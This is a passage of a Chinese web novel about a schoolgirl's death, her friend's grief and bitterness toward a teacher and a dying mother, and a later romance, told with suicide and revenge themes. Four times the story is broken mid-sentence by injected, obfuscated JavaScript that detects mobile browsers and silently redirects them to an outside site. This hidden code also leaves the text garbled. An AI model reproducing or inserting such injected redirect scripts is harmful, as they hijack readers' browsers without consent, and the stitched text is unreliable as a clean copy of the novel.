她话音未落,忽然注意到旁边另一个女生——我——正用充满恨意的眼神瞪着她。 她愣了一下,显然不明白这个素未谋面的女孩为何如此看她。 徐春红赶紧过来打圆场:“参宿家长您先别激动,等另一位同学的家长来了,我再一起跟你们说明情况。” 不到十分钟,我妈也赶来了。 这是我第一次被请家长,说不紧张是假的。 参宿妈妈站在桌前,一副事不关己、爱莫能助的姿态。我妈则一直低着头,听老师训话。 徐春红开始说明情况:“这次请两位家长来,主要是说一下她们俩最近的状况。首先商尽欢同学,她是高二下学期来到我们学校借读的。一开始我对她的关注不够,这确实是我的疏忽。现在呢,她和参宿同学是住在一起的。你们也懂,两个小孩住在一起,又拿着手机,晚上回去指不定玩到通宵……这种情况很可能发生。我带过好几届学生,只要一出去走读,成绩立马下降,更何况是两个人住在一起……” 听到这里,我妈紧张地问:“那是不是商尽欢成绩下降了很多?她上次就打电话说成绩下滑了,周末也没回来……我们这几天联系确实少了……” 徐春红叹了口气:“是啊,她这两次成绩下滑幅度很大。我也找她谈过,问是不是参宿同学影响到了她,但她一直说没有。可是今天早上,两节语文课,她们俩居然一起请假都没来上,相当于旷课了。” 她话一说完,参宿妈妈就瞪了参宿一眼:“听到没有?人家老师说了,你在带坏别人!” 这时我忍不住开口:“没有!参宿没有带坏我!今天的事归根结底是因为我起不来,我们才没来上课的!” 我妈顿时火冒三丈,恨铁不成钢地说:“商尽欢!你居然有本事不来上课?你疯了吧你!你到底想做什么?你忘了之前打电话是怎么跟我保证的吗?你简直要气死我啊!”她气得拍了下腿。 徐春红接着说:“您也先别急,我今天请两位家长来,就是想商量对策的。” 参宿妈妈却一脸不想管的样子:“这孩子我管不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你有老公,就去跟你老公离婚!有儿子,就跟他断绝关系!你净身出户,才有资格来教我!” 徐春红被我这话气得浑身发抖,跳起来指着我的鼻子骂:“你目无尊长!你不懂得尊师重道!你等着!我让你滚回你的原学校去上学!” 整个办公室乱作一团。 她非要上前理论,我妈竟然“扑通”一声直挺挺地跪在了徐春红面前。 “对不起老师!对不起!都是我的错!是我管教疏忽!你不要把她从附中劝退啊!对不起老师,都是我的错!我求求你,再给她最后一次机会……” 那个场面难堪到了极点。 我去拉我妈,一边对着徐春红吼:“好!你让我滚我就滚!我他妈才不稀罕你们附中!你不是口口声声说我只是个借读生吗?你等着!有一天我考好了,我一定会在媒体上大肆宣扬你是个什么样的老师!” 我们吵得不可开交。 当我回过神时,办公室门口已经围了乌泱泱一群看热闹的学生。 但我并不在乎了。 我扭头去看参宿,发现她一直浑身发抖地站在她妈妈身后。 我想去拉她的手,说:“参宿,我们走。” 可是她却站在原地,缓缓地、一点点地,将她的手从我的手里抽了出去。 我妈这时竟然又转向参宿,对着她鞠躬:“这位同学……我求求你了……我不管你究竟想做什么……我求求你不要耽误她了……” “她耽误不起啊……我们家全家的希望都在她一个人身上……” “她爸爸很早就离开了……就是我……我一直养着这个家……我实在是没有办法了……我无力从心了……我只有这么一个女儿……我不忍心看她废了……我求求你了……你放过我们家吧……” 参宿看着几乎要跪下的我妈,脸色苍白如纸。 “对不起,阿姨。” 那一刻,我感觉整个世界都在我面前无声地崩塌了。 寒冷,从心脏最深处,迅速蔓延至四肢百骸。 24. 祝福,你们都下地狱 那一天中午,我和参宿最后一次一起去了食堂。 她站在窗口,先买了一袋冰镇的炭烧酸奶,递给我:“敷脸。” 声音很轻,没什么情绪。 我们打了两份简单的饭,在食堂里找了个安静的角落坐下。 我用勺子戳着碗里的米饭,一口也吃不下去。 参宿在她自己的饭里挑挑拣拣,最后把几块看起来还不错的肉夹到了我的盘子里。 “商尽欢,以后不要再帮我说话了。” “……” “好。” “我会搬出去的。” “好。” 我们最后的分别,像这顿饭一样,平平淡淡,没有争吵,没有眼泪,甚至没有再多看对方一眼。 所有的激烈和汹涌,都在办公室里那场毁灭性的爆发中燃烧殆尽了。 市统考的成绩在这场闹剧后的第三天就出来了。 讽刺的是,我和参宿的名次都提高了不少。 后来,有一次换座位,我不小心碰掉了窗台上那盆参宿送我的虹之玉。 花盆摔得粉碎,泥土散了一地。 收拾残局的时候,我才发现,那盆曾经饱满鲜绿的多肉,早已在无人照看的角落里悄悄枯萎了,只剩下干瘪发黑的叶片。 周末,我又去了趟花市,想再买一盆一模一样的虹之玉。 我在无数盆多肉前挑挑拣拣,比较着它们的形状、颜色、饱满度,却越来越茫然。 最后,我不得不面对一个事实——我根本不记得当初那盆虹之玉长什么样了。因为从一开始,我就没有真正认真地去看过它。 我空着手,回到那个只剩下我一个人的出租屋。 屋子很小,参宿的东西一趟就搬完了。 某天打扫角落时,我翻出了之前没用完的那两包□□糖,我把它们倒进锅里,开小火慢慢炒。 □□糖融化了,交融在一起。 我忽然明白,有些东西一旦彻底融合过,即便强行分开,对方的一部分也早已深深嵌入你的生命里,无法剥离。 我带着参宿的一部分留在这里,而参宿,也带着我的一部分离开。 整个寒假,我没有回家,我把自己关在出租屋里,每天的生活机械地重复:醒来,学习,吃两块钱一把的挂面拌老干妈,继续学习,睡觉。 用自虐的忙碌填充每一秒,不敢让自己有空隙去想其他。 开学了,时间像按了快进键。 我和参宿的座位被调得很开,远到在教室里轻易看不到对方。 我们之间唯一的联系,只剩下每次成绩单发下来时,我会下意识地在名单上寻找她的名字。 她的排名一点一点地追上来,数学成绩从最初的四十多分,到八十,到一百,最后稳定在一百二十分左右。 她正在用我看得见的速度,变得越来越好。 六月六日,高考前一天。 整栋教学楼陷入喧闹,高三学生成群结队地扫楼。 高一高二的学弟学妹们给我们唱歌,唱的是五月天的《干杯》。 会不会有一天 时间真的能倒退 退回你的我的 回不去的悠悠的岁月 也许会有一天 世界真的有终点 也要和你举起回忆酿的甜 和你再干一杯 我和参宿,隔着一条喧闹沸腾的走廊,在涌动的人潮中对视。 就像高二那年,我刚转来附中,站在教室门口时,与她的第一次对视。 歌声很大,盖过了所有嘈杂。 终究会有一天 我们都变成昨天 是你陪我走过 一生一回匆匆的人间 有一天就是今天 今天就是有一天 说出一直没说对你的感谢 我们也跟着唱,声音淹没在集体的声浪里。 目光却隔着人群,静静地交汇,进行一场盛大的告别。 十点半,晚自习结束的铃声最后一次响起。 我收拾好书包,走出教室。 参宿就住在我不远处,她会跟在我后面,保持着一段不远不近的距离。 这一点,我一直知道。 后来的后来,记忆变得混乱而破碎,只记得我走在回出租屋的那条暗路上,遇到了摇摇晃晃的醉汉。 争执,推搡,闪着寒光的酒瓶…… 然后,一个身影猛地冲上来,护在我身前。 沉重的闷响。参宿软软地倒下来。 我抱住她,发出撕心裂肺的尖叫。 一下,两下…… 钝痛和温热的液体在我身上蔓延开…… 世界的声音渐渐远去,视野变得模糊。 到了这一刻,我终于想起来了。 原来,我早就死了。 —— 23岁这年,参宿从北师大毕业。 同一年,林娟,她的母亲,出了一场严重的车祸,被送进了ICU。 那几天,参宿的生活两点一线:白天上班,晚上守在ICU外面。 她憎恶这个地方,这里曾经冰冷地吞噬了她最好的朋友。 …… “患者现在情况非常不好,而且她自己的求生意识也很薄弱,请家属做好心理准备。” 女人腿一软,坐倒在地。 参宿头上缠着纱布,毫无生气地坐在长椅上。 求生意识薄弱?怎么会薄弱呢? 明明第二天就要高考了,马上就要解放了,为什么商尽欢会不想活下来呢? 也许,是因为那种旷日持久的孤独,那种一个人背负所有、不敢停歇的奔跑,那些来自父母、老师、学校乃至自己施加的无形压力,早已像水滴石穿一样,无声无息地压垮了那个看似坚韧的灵魂。 商尽欢并非不想活,只是太累了,累到只想好好地、长久地休息一下。 那一年的高考,参宿和商尽欢最终没能参加。 他们班一共52个人,50个都上了重点本科线。 考得最好的,是江祈。 他以近乎满分的成绩,成为了那一届的理科状元,名字被用最大的金字贴在校门口的红榜最顶端,鞭炮声响了整整一天。 徐春红和各科老师的道贺电话打爆他的手机,所有人都在催他报清华,选北大,前途无量。 可谁都没有想到,他最终在志愿表上,一笔一划写下的,是北京师范大学。 更加让所有人无法理解的是,就在收到北师大的录取通知书那天,江祈在家中安静地结束了自己的生命。 没有遗书,没有征兆。 原因成谜。 知道原因的,都已经不在了。 时间倒回初三那年。 刘小满的意外离世,迟萧和的决裂,母亲在迁怒中打断他的手臂…… 巨大的痛苦和迷茫将他吞噬。 他不明白自己为什么还要活着。 他坐在通往霖雨河的公交车上,眼神空洞,想着就这样去陪刘小满也好。 车开到了霖雨河前一站的八中站。 车门打开,坐在前面的一个女生站起身,走到车门边,见穿着同样校服的他不动,回头轻声说了一句:“同学,到站了,该下车了。” 他终于抬起头。 那天的阳光有些刺眼,他微微眯着眼,看见一个被阳光照的浑身散发着光芒的女生。 他鬼使神差地跟着下了车。 没走两步,他被绊了一下,低头发现鞋带散了,而他打着石膏的手无能为力。 那个女生注意到了,没有任何犹豫,自然地蹲下来,帮他系好了散开的鞋带。 “谢……” 他道谢的话还没说出口,女生已经起身,匆匆离开了。 自那以后,他开始频频关注那个与他不同班的女生。 他甚至清楚地计算过,从他的教室门口到她的教室门口,一共需要走46步。 他原以为,初中毕业,就见不到了。 那份隐秘的、从未宣之于口的情愫,终将随时间淡去。 没想到高二某一天,那个名字,再次闯进了他的耳朵里。 不久之后,这个女生,竟然向他表白了。 他何德何能? 他只能小心翼翼地藏起所有阴郁与不堪,努力在她面前维持着平和,尊重她的一切意愿,不愿有任何冒犯,生怕一丝一毫的差池,都会玷污了这束照进他生命里的光。 收到录取通知书后,江祈执着地用笔在草稿纸上一遍又一遍地练习书写那个名字,直到写得最漂亮、最工整的那一刻,他才庄重地、小心翼翼地在录取通知书“新生”那一栏,同样写下了她的名字—— 商尽欢。 笔,从他指间滑落,掉在地上。 他没有去捡。 参宿因为错过了高考,选择复读一年。 她找林娟借了一笔钱,重新租回了曾经和商尽欢一起住过的那间小屋。 说来也是命运的讽刺,因为这屋子之前出过事,被媒体多方报道,房价跌了。 以前每月350块,她和商尽欢一人分担175块。 现在,房东直接半价租给了她——每月175块。 商尽欢以另一种形式,依旧分担着一半的租金,陪在她身边。 屋子还是老样子。 天花板依旧漏水,滴答,滴答,滴答…… 她依旧用那个盆接着。 她开始变得越来越像曾经的商尽欢,学习状态近乎疯狂地投入和偏执,每晚熬到深夜,除了学习,对周遭的一切都漠不关心。 只是偶尔,她会对着某个地方发呆。 那里曾经摆着小电煮锅,她们曾围着它吃两块钱的挂面,也曾在那年冬至,一起端着锅,笑着拍下第一张也是最后一张合照。 到后来,她有些魔怔了。 在又一个寒冷刺骨的冬夜,她一个人蜷缩在冰冷的被子里,疯狂地想念两个人相拥取暖的夜晚,想念最后那段时光里,她们如何互相督促,学到凌晨两三点,如何把冻僵的手恶作剧地塞进对方的后颈,激起一阵尖叫和笑骂…… 想到这些,她开始放声大哭,哭声在空荡破败的小屋里回荡,却得不到任何回应。 在最极端的时候,她甚至尝试过各种荒诞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480742|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“招魂”方法。对着镜子削苹果皮,期盼皮不断就能在镜中看到想见的人;玩笔仙,颤抖着问出一个又一个得不到答案的问题……她通通试过了。 但商尽欢,一次也没有来看过她。 “你就在那里!我看到你了!快出来!” 她总是莫名其妙地大喊。 —— 第二年6月8日,下午考完理综,参宿提前一会儿交卷走出了考场。 外面围满了焦急等待的家长和抢新闻的记者。 一个记者眼尖地看到她出来,立刻将话筒递过来:“同学你好!恭喜你考完了!此刻心情怎么样?有没有特别想感谢的人?” 参宿看着镜头,脸上没有任何考后的喜悦或解脱,只有一片冰冷的麻木和积压已久的疲惫。 她沉默了几秒,说道: “我想感谢我的数学老师,徐春红老师。” 记者脸上露出期待的笑容。 “我感谢她教会我,在这个只看重分数和排名的地方,情感和陪伴是可耻的,互助和体谅是愚蠢的。我感谢她让我明白,所谓的‘为师之道’,有时候不过是精准计算投入产出比,将学生分为三六九等,区别对待。” 记者脸上的笑容僵住,镜头后的摄影师也不知所措。 面前的女孩仍然笑着: “所以,在这里,我向她献上我最真挚的祝福——” “我祝徐老师您,桃李满天下,我更祝您,在您每一个志得意满的深夜,当您独自一人,关上灯,准备享受成功带来的安眠时,都能清晰地感觉到,那些您曾轻蔑地归类为‘次品’、‘蠢货’、‘拖后腿’的学生,那些被您的言语和冷漠打磨、压榨、甚至碾碎过的生命,他们并未真正消失。” 她的眼睛直视着镜头深处,仿佛能穿透屏幕,看到那个她正在描述的人。 “祝您能永远感觉到,他们就在您的窗外,在您窗帘的缝隙里,在您地板的反光中,在您每一次呼吸的空气里。无声地、沉默地、永恒地注视您。注视您如何用我们的青春和血肉,堆砌起您个人的丰碑。” “祝您功成名就的每一个光环背后,都镶嵌着无数双我们这样、您不曾真正看见过的眼睛。它们会一直看着您,直到永远。” …… “病人现在醒了,你可以进去看看。”护士的声音打断了她的思绪。 参宿回过神,在医护人员的指导下,穿戴好防护服,仔细消毒,然后走进了icu。 林娟躺在病床上,她在这里已经住了七天,被病痛折磨得不成人形。身上插满了各种管子,眼窝深陷,脸颊瘦削得脱了相,因为头部手术,头发也被剃光了,露出青白的头皮。 参宿走过去,轻声喊了一句:“妈。” 林娟的眼睛艰难地转动了一下,一只枯槁的手颤巍巍地想要去拉她。 参宿看着那只手,却没有握住。 “对不起……参宿……”林娟的气音微弱得像随时会断掉。 参宿没有回应,而是俯下身,平静地问:“感觉怎么样?” “这种无能为力的感觉,怎么样?” 林娟的眼泪瞬间就从眼角滑落,洇湿了枕头。 参宿伸出手,替她擦掉眼泪,动作轻柔:“别哭啊,才这样就哭了吗?” “对不起……参宿……”林娟只能重复着这句话。 “没关系了,我原谅你了。”参宿凑在她耳边说。 林娟的眼中猛地爆发出一点希冀的光。 然而,参宿却紧接着,极轻地笑了一声。 “你希望听到我说这个,对吗?”她俯着身,像哄孩子一样,轻轻拍着母亲的肩膀,一下,两下,三下。 “可是,我不说违心话的。” 林娟的身体开始轻微地颤抖,似乎想挣扎,却被参宿轻轻按住。 参宿看着她母亲的眼睛:“你渴望得到我的谅解吗?” 林娟点了一下头,泪水流得更凶。 “可是我恨你,妈妈。” “我恨你恨得要死,我恨你恨得抓狂。” 林娟戴着鼻氧管,呼吸变得急促而痛苦,喉咙里发出嗬嗬的声响。 “你现在后悔了吗?”参宿问完,又说:“但已经太晚了。” 她直起身,替林娟掖好被子,轻声安慰:“你就带着你的悔恨、你的自责、你的不甘……” “去死吧。” 说完,她转身,平静地走了出去,没有回头。 隔天晚上,林娟的心脏永远停止了跳动。 参宿回老家帮她销户。 她对这片土地印象早已模糊,12岁那年被父亲强行带走后,她就再也没回来过。 路上遇到一个挑着菜担子的大娘,打量了她好久:“你是林娟家的姑娘吧?” 参宿抬起眼,淡淡地看着对方。 那大娘很热心:“你和她眉眼长得真像!我小时候还抱过你呢,忘记了吗?” 参宿摇摇头:“忘记了。” 那大娘自顾自地说下去:“我对你印象可深着呢!记得你那会儿刚出生,可讨喜啦!一个小妞长得又好看,哭起来跟笑起来似的,都是咯咯咯的,逗得人好笑……” 25. 在这,我陪你哭 毕业后第三年,26岁的参宿进入了一家律师事务所工作。 工资可观,生活也稳定了许多。 就在这一年,她终于还清了所有的助学贷款。 桑榆从隔壁工位探过脑袋,笑眯眯地说:“这么有意义的一天,要不要跟我出去庆祝一下呀?” 参宿从卷宗里抬起头,笑了笑:“好呀,去哪庆祝?” “我有个朋友是办民间音乐社的,这几天他们有场演出,还挺有意思的,你感兴趣的话我们去听听?” 参宿没犹豫,答应了。 毕业后的这几年,她的生活几乎被工作填满,实习、找工作、换工作、拼命赚钱还债,单调又无趣。 演出在一个小型的Livehouse体育馆,门口排队检票的人很多。 桑榆想给她那个朋友发消息让人出来接一下。 结果刚摸出手机,懊恼地叫了一声:“哎呀!我手机忘记充电,自动关机了。” 她没办法,只好借参宿的手机给她朋友打了个电话。 不到十分钟,侧面的一个小门被推开,一个男生走了出来,二十多岁的模样,头发中长,在脑后随意扎了个小啾啾,开朗又温和。 对于很多人来说,可能体格健壮的人更能带来安全感。但对参宿而言,这种看起来清瘦、甚至有些文艺瘦弱的男生,反而让她感觉更放松,没有攻击性。 那男生看到了她们,笑着走过来。 桑榆连忙招手:“钟意!这边!” 叫钟意的男生走过来,先跟桑榆打了个招呼,然后目光自然地落到参宿身上,笑容温和:“你好,我叫钟意。” 他的笑容很有感染力,像午后的阳光,不灼人,却温暖。 参宿也笑了笑:“你好,我叫参宿,是……” 她刚要解释自己名字的来历。 没想到男生眼睛微微一亮,抢先一步:“是‘人生不相见,动如参与商’里面的那个参宿星吗?” 参宿愣住,心脏某个沉寂已久的角落被极轻地触碰了一下。 她看着眼前这个笑容干净的男生:“对呀,没想到你知道。” 钟意笑着打趣道:“嗨,你这话说的,鄙人也是读过几年书的。” 他侧身,优雅地做了一个“请”的动作,“外面冷,两位女士,里面请吧。” 钟意给她们安排了视野极佳的位置。 桑榆随口问他借了充电宝给手机续命。 “我先回后场一下,你们要有需要的,直接过来找我。”钟意嘱咐。 “好。” 演出很快开始。 民间音乐,舒缓又沧桑。 参宿第一次听,感觉全身心都松弛下来了。 旁边的桑榆刚充上电,手机就开始疯狂震动,电话一个接一个地打进来。 她无奈地叹了口气。 做律师这行就这样,即便下班了,委托人的电话也不能不接。 参宿同情地看了她一眼,桑榆摆摆手,用口型说“我出去接一下”,便猫着腰快步往场外走。 桑榆刚走没多久,两个男人笑眯眯地凑到她旁边座位:“老妹儿,一个人来的啊?” 参宿下意识往旁边挪了挪:“不是,和我朋友一起来的,她刚出去。” “这样啊,看你这姑娘挺有眼缘的,交个朋友呗?等结束了哥请你吃个饭?” “不好意思,结束后有事。”参宿拒绝。 “唉别这么不给面子嘛。” 就在这时,一个声音插了进来:“参宿?” 是钟意。 他不知何时走了过来,自然地站到参宿身边,隔开了那两人。 那俩哥们儿看看钟意:“哟,这老妹儿是你的人?” “不是。”钟意侧身把参宿护在了一个更安全的位置。 “不是就行,我哥们想跟这小妹交个朋友。” 可钟意话锋一转:“但我是她的人。” 那俩哥们儿愣了一下。 “这样啊,行吧行吧,打扰了打扰了!” 气氛化解,他们讪讪地走开了。 “还好吧?”钟意问她。 参宿摇摇头:“没事。” “这里人多又杂,很容易遇到这种搭讪的,”钟意摸了摸后脑勺,“那个……刚才我那么说,不是想占你便宜或者怎么样。主要是我要说只是普通朋友,他们估计不会轻易放弃,所以才……” 参宿看他局促的样子,笑了:“没事啊,你帮我解了围,我应该谢谢你才对。” 钟意也笑了:“主要是觉得有点冒犯到你了。” “不会,”参宿看着台上摇曳的灯光,轻声说,“我觉得你做得刚刚好。” 钟意笑了笑,没再说话,只是很自然地插着兜,靠在她旁边的栏杆上,陪她一起听完了下一首歌。 旋律悠扬而略带感伤,是《滴答》: 滴答滴答滴答滴答 寂寞的夜和谁说话 滴答滴答滴答滴答 伤心的泪儿谁来擦 滴答滴答滴答滴答 整理好心情再出发 滴答滴答滴答滴答 还会有人把你牵挂。 一曲终了,钟意轻声问:“听得惯这种音乐吗?” “我很喜欢。” 参宿姿态放松又从容:“感觉高中毕业之后,一直过得很忙碌,到现在这么多年,很少有这样,能慢下来,安安静静欣赏点什么的时候了。” 说完她才意识到自己说得太多太私人了,有点不好意思,“呃,是不是说太多了?” “喜欢就好,”钟意很自然地接话,没有追问也没有客套。 “以后有演出,你们喜欢的话,随时都可以来听,我给你留位置。” 参宿点点头,随即想到什么:“但我们这样每次都不给钱就进来,是不是白嫖不太好?” 钟意爽朗地笑了:“民间音乐现在听众少,你们能来捧场,我感谢还来不及呢。” 桑榆打完电话回来了,看到这两人氛围融洽的样子,笑着上前拍拍参宿:“结束了要不要一起吃顿饭?” 参宿这几年基本都是点外卖,很少和人聚餐,今天却破天荒地点头:“好。” 演出结束后,钟意开车带她们去了一家火锅店。 店主叫许湜,是桑榆和钟意的朋友,也是个二十多岁的小伙子,爽朗热情,老板娘夕颜温婉可人,两人是恩爱的一对。 他们给上了满满一桌菜,参宿看着都觉得不好意思了。 许湜大手一挥:“哎呀,都是朋友!一顿饭的事,计较那么多干嘛?吃得开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不行……你不能走……”参宿扯住他的衣角,眼神迷离又执拗。 钟意看着她这样,忍不住笑了。 他个子高,微微屈膝撑着手臂,视线与她平齐:“那你要我怎么办呢?嗯?要跟我一起去买吗?” 参宿就拉着他的衣角,跟着他亦步亦趋地去了旁边的小卖部。 钟意刚从冰柜里拿了瓶水,参宿却跺跺脚:“我不喝冰的!” “行呗。” 钟意给她换了瓶常温的,没忍住问:“你到底是清醒还是不清醒啊?” 参宿摇摇头:“我喝醉了……” “醉了?”钟意笑着重复。 “对呀,我喝醉了……”参宿抬起头,眼神迷蒙地看着他,忽然没头没脑地接了一句,“可是我没有动手打你……” 男生脸上的笑意微微收敛:“打你?” “是有人喝醉了打你吗?” 参宿低下头,用脚尖踢着地上的小石子,毫无征兆地哭了起来。 钟意一下子有点手足无措,他不太会哄女孩子,只能笨拙地问:“怎么了?是工作上遇到不顺心的事了,还是有人欺负你了?” 他不问还好,这一问,参宿哭得更凶了,像个被抢走玩具的小孩。 外面夜风渐冷,钟意怕她着凉,试探着问:“那要不要去车上哭?外面冷。” 参宿不理他。 钟意叹了口气,脱下自己的外套,轻轻披在她肩上,然后就在她旁边蹲了下来,安静地陪着她。 “那好吧,就在这里,我陪你哭。” 26. 两人,渐渐靠近 次日,参宿在一阵头痛中醒来。 断片的记忆,一帧帧模糊地闪回……拉着钟意的衣角耍赖、蹲在路边嚎啕大哭、说着那些不着边际的醉话。 每一个画面都让她恨不得立刻原地消失。 “啊!” 她把发烫的脸深深埋进被子里,双脚在空中尴尬地蹬了几下。 丢死人了! 他肯定会觉得我是个酒品极差的麻烦精吧? 以后绝对、绝对不能再见面了! 然而,老天爷似乎就爱跟她唱反调。 当晚她加班到十点多,骑着小电驴回家。刚下过雨的路面湿滑反光,她骑得小心翼翼。 就在一个拐角,一道刺眼的车灯猛地照来,对方逆行,她慌忙躲避,车轮打滑,整个人瞬间失去平衡,重重摔在地上。 额头磕在地上,把她摔懵了。 警察很快赶到现场,她被扶到路边的台阶坐下。 “小姑娘,你没事吧?叫什么名字?记得家住哪里吗?” 她努力地想,却发现脑子里一片空白,什么也抓不住。 她是谁?从哪里来?要到哪里去?全都想不起来了。 处理事故的交警无奈,只好拿起她掉落一旁的手机,用指纹解锁。 通讯录里没有“爸爸”、“妈妈”之类的备注,好友列表也杂乱无章。 交警只好点开通话记录,试着拨通了最上面的第一个号码。 好巧不巧,那正是钟意。 因为昨天桑榆手机没电,用的是参宿的手机联系的他。 不到十分钟,钟意来了。 他快步下车,急切地向警察了解情况。 “撞到头了?可能脑震荡?什么都不记得了?” 他转头看向路边。 参宿孤零零地坐在台阶上,额角有一块明显的擦伤,渗着血丝,眼神空洞又无助。 他走过去,在她面前蹲下身:“参宿?” 参宿缓缓抬起眼,目光没有焦点。 钟意看着她额角的伤,心疼地问:“很疼吧?我们去医院看看,好不好?” 破碎的记忆碎片猛地涌入脑海。 摔倒、车灯、剧烈的疼痛……以及更久远的、被刻意封存的画面…… 她忽然“哇”地一声哭了出来:“我朋友她不在了。” “商尽欢她不在了。” “明明我们说好要一起考北师大的。” “怎么就剩我一个人了,就剩我一个人了。” 最后,钟意半扶半抱地将她带上车,送往医院。 检查结果是轻微脑震荡,需要住院观察一晚。 参宿躺在病床上,尴尬得脚趾抠地。 才见过钟意两面,一次酩酊大醉发酒疯,一次车祸失忆当街痛哭……这到底是什么孽缘?她简直不敢看他的眼睛。 更要命的是,她举目无亲,住院连个送饭的人都没有。 钟意却自然地揽下了所有事,跑前跑后办手续、取药,甚至问她:“晚上想吃什么?我回去给你做点清淡的。” 参宿连忙摆手:“不用不用!太麻烦你了!我真的没事,一个人可以的,你快回去吧!” 钟意却摇摇头:“脑震荡可大可小,晚上需要有人留意情况。没关系,我最近乐团没演出,闲人一个,陪你一下没事的。” 他的照顾体贴周到,送来的粥和小菜清淡可口,陪她做检查时耐心十足。 参宿心里过意不去,却又贪恋这久违的、被人细致照顾的温暖。 出院后,两个人又归于各自的生活。 参宿重新被无数的案卷和加班填满,每天回到家已是凌晨。 人与人之间的缘分,有时就是这样,匆匆交集,又悄然散去,仿佛从未发生过。 转眼到了除夕夜。 整座城市灯火璀璨,窗外不时炸开绚丽的烟花,噼里啪啦的声响衬得屋里愈发冷清。 参宿拖着疲惫的身心回到公寓,没有开灯,直接瘫倒在沙发上。 她第一次如此清晰地感觉到一种深入骨髓的孤寂。 这个所谓的“家”,永远不会有人为她亮一盏灯,永远不会有一桌热乎的饭菜等着她。难道她就要这样,日复一日,年复一年,独自一人直到老去吗? 隔天,公司发了年货,一袋米和一桶油。 她平时基本吃外卖,这些东西根本消耗不完,往往放到长霉,最后扔掉。 鬼使神差地,她拿起手机,犹豫了很久,拨通了钟意的电话。 “喂?参宿?” “呃……嗯,是我,”参宿有些尴尬地开口,“那个……你最近还在嘉城吗?” “在啊,怎么了?有什么事吗?”钟意的声音一如既往的温和。 “就是……公司发年货,米和油,我平时也不做饭,吃不完,你要是不介意的话,给你吧。” 她说得磕磕绊绊。 钟意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480744|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在电话那头笑了:“这怎么好意思啊?” “怎么不好意思?之前多谢你帮忙,而且,放我这也是浪费。”参宿赶紧说。 钟意沉吟了一下,随即爽快地说:“那好吧,谢谢你啊,我什么时候方便过去拿?” “今天你有空吗?” “有空。” 下午下班。 参宿把米和油交接给钟意。 “我这样白拿你的东西也不好意思啊,我想了想,你要是不介意,以后中午我给你做午饭送过去吧?” 参宿吓了一跳,连忙摆手:“不行不行!这太麻烦你了!就是一袋米一桶油,不值什么的,你这样我反而过意不去。” “不麻烦,我自己一个人也要吃饭,顺便多做一份而已。而且给你做饭,我还能练练手,免得手艺生疏了。你要是不同意,这米和油我可真不能要了。” 参宿拗不过他,只好红着脸点头:“那……那好吧,真的太谢谢你了。” “这就对了嘛,”钟意爽朗一笑,“有什么忌口的吗?” 参宿哪里还好意思再提要求,连忙说:“没有没有,我什么都吃。” 从那天起,钟意真的每天中午准时出现在律所楼下,递上一个保温袋,里面是一荤两素一汤,营养均衡,一周几乎不重样。 惹得同事们都投来好奇和羡慕的目光。 参宿心里愈发过意不去,几次发消息给钟意:“真的不用再送了,太麻烦你了,我点外卖很方便的。” 钟意回复得很快:“是吃腻了吗?想换换口味?” 参宿只好实话实说:“不是的!是实在太不好意思了,我那点米和油,根本不值得你天天这样辛苦。” 钟意却回:“朋友之间,不用算得那么清楚。再说,给你做饭,我可是有收获的。” 接着,他发来一张照片——是一本崭新的厨师资格证。 参宿瞪大眼睛,发过去一串感叹号:“我去!你好厉害!” 钟意回道:“还得谢谢你,要不是为了给你换花样,逼得我天天研究新菜式,我还没动力去把这个证考下来呢。以后就算乐团解散,我也不怕失业了。” 参宿看着手机屏幕,忍不住笑了:“这功劳怎么也能算到我头上?” 钟意发来一个得意的表情:“行了,明天给你加餐,就这么愉快地决定了!” 不容她再拒绝。 参宿抱着手机,嘴角的笑意迟迟没有散去。 27. 亲吻,请尽情袒露自己 二月十四日,情人节。 钟意准时开车到了参宿律所楼下。 他停好车,走向大楼门口。 参宿已经等在那里,看到他今天手里多出来一个小盒子:“这是什么?” 钟意眼睛里漾着好看的笑意,微微低头看她:“打开看看就知道了。” “这么神秘?”参宿狐疑地看他一眼,接过来,小心地解开丝带。 盒盖掀开,里面是一块奶油蛋糕,样式简单可爱,用草莓酱画了一个憨态可掬的小熊。 她惊讶地瞪大眼睛:“我去!这不会也是你做的吧?” “嗯,”钟意点点头,耳根有点不易察觉的红,“第一次做,可能不太好看。” “我的天!”参宿简直受宠若惊,“那我这待遇也太高了吧!不过……” 她顿了顿,有些疑惑,“今天怎么突然想起来给我蛋糕呀?” 钟意靠在车门上,姿态放松,嘴角噙着笑:“之前给你送饭,偶尔瞥见你办公桌的小台历,14号这天被红笔圈出来了。一般这种日子,不是重要纪念日就是生日吧?我猜可能是生日,就试着做了一个。” 参宿的心像是被什么东西轻轻撞了一下。 她从来没有吃过生日蛋糕,更别提有人专门为她做。 “这么细心呀?”她打趣。 